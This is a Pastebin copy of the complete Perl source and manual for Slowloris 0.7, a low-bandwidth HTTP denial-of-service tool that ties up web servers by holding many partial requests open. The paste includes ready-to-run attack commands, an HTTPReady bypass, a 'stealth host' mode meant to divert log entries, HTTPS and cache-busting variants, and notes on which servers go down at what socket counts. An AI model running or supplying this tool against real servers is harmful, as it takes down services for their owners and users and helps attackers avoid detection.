Advertisement
CreadPag

slowloris

Feb 24th, 2014
1,421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
LScript 18.89 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use strict;
  3. use IO::Socket::INET;
  4. use IO::Socket::SSL;
  5. use Getopt::Long;
  6. use Config;
  7.  
  8. $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
  9.  
  10. print <<EOTEXT;
  11. CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
  12. CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
  13. CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
  14. CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
  15. CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
  16. ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
  17. ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
  18. oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
  19. oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
  20. oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
  21. CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
  22. CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
  23. OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
  24. OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
  25. COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
  26. CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
  27. coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
  28. :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
  29. .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
  30. ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
  31. .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
  32. ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
  33. .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
  34.  ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
  35.    .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  36.   .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
  37.        .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
  38.  Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  39. EOTEXT
  40.  
  41. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  42. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  43. my $result = GetOptions(
  44.     'shost=s'   => \$shost,
  45.     'dns=s'     => \$host,
  46.     'httpready' => \$httpready,
  47.     'num=i'     => \$connections,
  48.     'cache'     => \$cache,
  49.     'port=i'    => \$port,
  50.     'https'     => \$ssl,
  51.     'tcpto=i'   => \$tcpto,
  52.     'test'      => \$test,
  53.     'timeout=i' => \$timeout,
  54.     'version'   => \$version,
  55. );
  56.  
  57. if ($version) {
  58.     print "Version 0.7\n";
  59.     exit;
  60. }
  61.  
  62. unless ($host) {
  63.     print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  64.     print "\n\tType 'perldoc $0' for help with options.\n\n";
  65.     exit;
  66. }
  67.  
  68. unless ($port) {
  69.     $port = 80;
  70.     print "Defaulting to port 80.\n";
  71. }
  72.  
  73. unless ($tcpto) {
  74.     $tcpto = 5;
  75.     print "Defaulting to a 5 second tcp connection timeout.\n";
  76. }
  77.  
  78. unless ($test) {
  79.     unless ($timeout) {
  80.         $timeout = 100;
  81.         print "Defaulting to a 100 second re-try timeout.\n";
  82.     }
  83.     unless ($connections) {
  84.         $connections = 1000;
  85.         print "Defaulting to 1000 connections.\n";
  86.     }
  87. }
  88.  
  89. my $usemultithreading = 0;
  90. if ( $Config{usethreads} ) {
  91.     print "Multithreading enabled.\n";
  92.     $usemultithreading = 1;
  93.     use threads;
  94.     use threads::shared;
  95. }
  96. else {
  97.     print "No multithreading capabilites found!\n";
  98.     print "Slowloris will be slower than normal as a result.\n";
  99. }
  100.  
  101. my $packetcount : shared     = 0;
  102. my $failed : shared          = 0;
  103. my $connectioncount : shared = 0;
  104.  
  105. srand() if ($cache);
  106.  
  107. if ($shost) {
  108.     $sendhost = $shost;
  109. }
  110. else {
  111.     $sendhost = $host;
  112. }
  113. if ($httpready) {
  114.     $method = "POST";
  115. }
  116. else {
  117.     $method = "GET";
  118. }
  119.  
  120. if ($test) {
  121.     my @times = ( "2", "30", "90", "240", "500" );
  122.     my $totaltime = 0;
  123.     foreach (@times) {
  124.         $totaltime = $totaltime + $_;
  125.     }
  126.     $totaltime = $totaltime / 60;
  127.     print "This test could take up to $totaltime minutes.\n";
  128.  
  129.     my $delay   = 0;
  130.     my $working = 0;
  131.     my $sock;
  132.  
  133.     if ($ssl) {
  134.         if (
  135.             $sock = new IO::Socket::SSL(
  136.                 PeerAddr => "$host",
  137.                 PeerPort => "$port",
  138.                 Timeout  => "$tcpto",
  139.                 Proto    => "tcp",
  140.             )
  141.           )
  142.         {
  143.             $working = 1;
  144.         }
  145.     }
  146.     else {
  147.         if (
  148.             $sock = new IO::Socket::INET(
  149.                 PeerAddr => "$host",
  150.                 PeerPort => "$port",
  151.                 Timeout  => "$tcpto",
  152.                 Proto    => "tcp",
  153.             )
  154.           )
  155.         {
  156.             $working = 1;
  157.         }
  158.     }
  159.     if ($working) {
  160.         if ($cache) {
  161.             $rand = "?" . int( rand(99999999999999) );
  162.         }
  163.         else {
  164.             $rand = "";
  165.         }
  166.         my $primarypayload =
  167.             "GET /$rand HTTP/1.1\r\n"
  168.           . "Host: $sendhost\r\n"
  169.           . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  170.           . "Content-Length: 42\r\n";
  171.         if ( print $sock $primarypayload ) {
  172.             print "Connection successful, now comes the waiting game...\n";
  173.         }
  174.         else {
  175.             print
  176. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  177.             print "Is something wrong?\nDying.\n";
  178.             exit;
  179.         }
  180.     }
  181.     else {
  182.         print "Uhm... I can't connect to $host:$port.\n";
  183.         print "Is something wrong?\nDying.\n";
  184.         exit;
  185.     }
  186.     for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  187.         print "Trying a $times[$i] second delay: \n";
  188.         sleep( $times[$i] );
  189.         if ( print $sock "X-a: b\r\n" ) {
  190.             print "\tWorked.\n";
  191.             $delay = $times[$i];
  192.         }
  193.         else {
  194.             if ( $SIG{__WARN__} ) {
  195.                 $delay = $times[ $i - 1 ];
  196.                 last;
  197.             }
  198.             print "\tFailed after $times[$i] seconds.\n";
  199.         }
  200.     }
  201.  
  202.     if ( print $sock "Connection: Close\r\n\r\n" ) {
  203.         print "Okay that's enough time. Slowloris closed the socket.\n";
  204.         print "Use $delay seconds for -timeout.\n";
  205.         exit;
  206.     }
  207.     else {
  208.         print "Remote server closed socket.\n";
  209.         print "Use $delay seconds for -timeout.\n";
  210.         exit;
  211.     }
  212.     if ( $delay < 166 ) {
  213.         print <<EOSUCKS2BU;
  214. Since the timeout ended up being so small ($delay seconds) and it generally
  215. takes between 200-500 threads for most servers and assuming any latency at
  216. all...  you might have trouble using Slowloris against this target.  You can
  217. tweak the -timeout flag down to less than 10 seconds but it still may not
  218. build the sockets in time.
  219. EOSUCKS2BU
  220.     }
  221. }
  222. else {
  223.     print
  224. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  225.  
  226.     if ($usemultithreading) {
  227.         domultithreading($connections);
  228.     }
  229.     else {
  230.         doconnections( $connections, $usemultithreading );
  231.     }
  232. }
  233.  
  234. sub doconnections {
  235.     my ( $num, $usemultithreading ) = @_;
  236.     my ( @first, @sock, @working );
  237.     my $failedconnections = 0;
  238.     $working[$_] = 0 foreach ( 1 .. $num );    #initializing
  239.     $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
  240.     while (1) {
  241.         $failedconnections = 0;
  242.         print "\t\tBuilding sockets.\n";
  243.         foreach my $z ( 1 .. $num ) {
  244.             if ( $working[$z] == 0 ) {
  245.                 if ($ssl) {
  246.                     if (
  247.                         $sock[$z] = new IO::Socket::SSL(
  248.                             PeerAddr => "$host",
  249.                             PeerPort => "$port",
  250.                             Timeout  => "$tcpto",
  251.                             Proto    => "tcp",
  252.                         )
  253.                       )
  254.                     {
  255.                         $working[$z] = 1;
  256.                     }
  257.                     else {
  258.                         $working[$z] = 0;
  259.                     }
  260.                 }
  261.                 else {
  262.                     if (
  263.                         $sock[$z] = new IO::Socket::INET(
  264.                             PeerAddr => "$host",
  265.                             PeerPort => "$port",
  266.                             Timeout  => "$tcpto",
  267.                             Proto    => "tcp",
  268.                         )
  269.                       )
  270.                     {
  271.                         $working[$z] = 1;
  272.                         $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
  273.                     }
  274.                     else {
  275.                         $working[$z] = 0;
  276.                     }
  277.                 }
  278.                 if ( $working[$z] == 1 ) {
  279.                     if ($cache) {
  280.                         $rand = "?" . int( rand(99999999999999) );
  281.                     }
  282.                     else {
  283.                         $rand = "";
  284.                     }
  285.                     my $primarypayload =
  286.                         "$method /$rand HTTP/1.1\r\n"
  287.                       . "Host: $sendhost\r\n"
  288.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  289.                       . "Content-Length: 42\r\n";
  290.                     my $handle = $sock[$z];
  291.                     if ($handle) {
  292.                         print $handle "$primarypayload";
  293.                         if ( $SIG{__WARN__} ) {
  294.                             $working[$z] = 0;
  295.                             close $handle;
  296.                             $failed++;
  297.                             $failedconnections++;
  298.                         }
  299.                         else {
  300.                             $packetcount++;
  301.                             $working[$z] = 1;
  302.                         }
  303.                     }
  304.                     else {
  305.                         $working[$z] = 0;
  306.                         $failed++;
  307.                         $failedconnections++;
  308.                     }
  309.                 }
  310.                 else {
  311.                     $working[$z] = 0;
  312.                     $failed++;
  313.                     $failedconnections++;
  314.                 }
  315.             }
  316.         }
  317.         print "\t\tSending data.\n";
  318.         foreach my $z ( 1 .. $num ) {
  319.             if ( $working[$z] == 1 ) {
  320.                 if ( $sock[$z] ) {
  321.                     my $handle = $sock[$z];
  322.                     if ( print $handle "X-a: b\r\n" ) {
  323.                         $working[$z] = 1;
  324.                         $packetcount++;
  325.                     }
  326.                     else {
  327.                         $working[$z] = 0;
  328.                         #debugging info
  329.                         $failed++;
  330.                         $failedconnections++;
  331.                     }
  332.                 }
  333.                 else {
  334.                     $working[$z] = 0;
  335.                     #debugging info
  336.                     $failed++;
  337.                     $failedconnections++;
  338.                 }
  339.             }
  340.         }
  341.         print
  342. "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
  343.         sleep($timeout);
  344.     }
  345. }
  346.  
  347. sub domultithreading {
  348.     my ($num) = @_;
  349.     my @thrs;
  350.     my $i                    = 0;
  351.     my $connectionsperthread = 50;
  352.     while ( $i < $num ) {
  353.         $thrs[$i] =
  354.           threads->create( \&doconnections, $connectionsperthread, 1 );
  355.         $i += $connectionsperthread;
  356.     }
  357.     my @threadslist = threads->list();
  358.     while ( $#threadslist > 0 ) {
  359.         $failed = 0;
  360.     }
  361. }
  362.  
  363. __END__
  364.  
  365. =head1 TITLE
  366.  
  367. Slowloris
  368.  
  369. =head1 VERSION
  370.  
  371. Version 0.7 Beta
  372.  
  373. =head1 DATE
  374.  
  375. 06/17/2009
  376.  
  377. =head1 AUTHOR
  378.  
  379. RSnake <h@ckers.org> with threading from John Kinsella
  380.  
  381. =head1 ABSTRACT
  382.  
  383. Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
  384.  
  385. =head1 AFFECTS
  386.  
  387. Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
  388.  
  389. =head1 NOT AFFECTED
  390.  
  391. IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
  392.  
  393. =head1 DESCRIPTION
  394.  
  395. Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.
  396.  
  397. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.
  398.  
  399. =head2 Testing
  400.  
  401. If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
  402.  
  403. =head3 Testing Example:
  404.  
  405. ./slowloris.pl -dns www.example.com -port 80 -test
  406.  
  407. This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
  408.  
  409. =head2 HTTP DoS
  410.  
  411. Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.
  412.  
  413. =head3 HTTP DoS Example:
  414.  
  415. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
  416.  
  417. =head2 HTTPReady Bypass
  418.  
  419. HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
  420.  
  421. =head3 HTTPReady Bypass Example
  422.  
  423. ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
  424.  
  425. =head2 Stealth Host DoS
  426.  
  427. If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
  428.  
  429. =head3 Stealth Host DoS Example:
  430.  
  431. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
  432.  
  433. =head2 HTTPS DoS
  434.  
  435. Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.
  436.  
  437. =head3 HTTPS DoS Example:
  438.  
  439. ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
  440.  
  441. =head2 HTTP Cache
  442.  
  443. Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
  444.  
  445. =head3 HTTP Cache Example:
  446.  
  447. ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
  448.  
  449. =head1 Issues
  450.  
  451. Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
  452.  
  453. Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
  454.  
  455. For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.  
  456.  
  457. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
  458.  
  459. =head1 What is a slow loris?
  460.  
  461. What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:
  462.  
  463. http://www.youtube.com/watch?v=rLdQ3UhLoD4
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement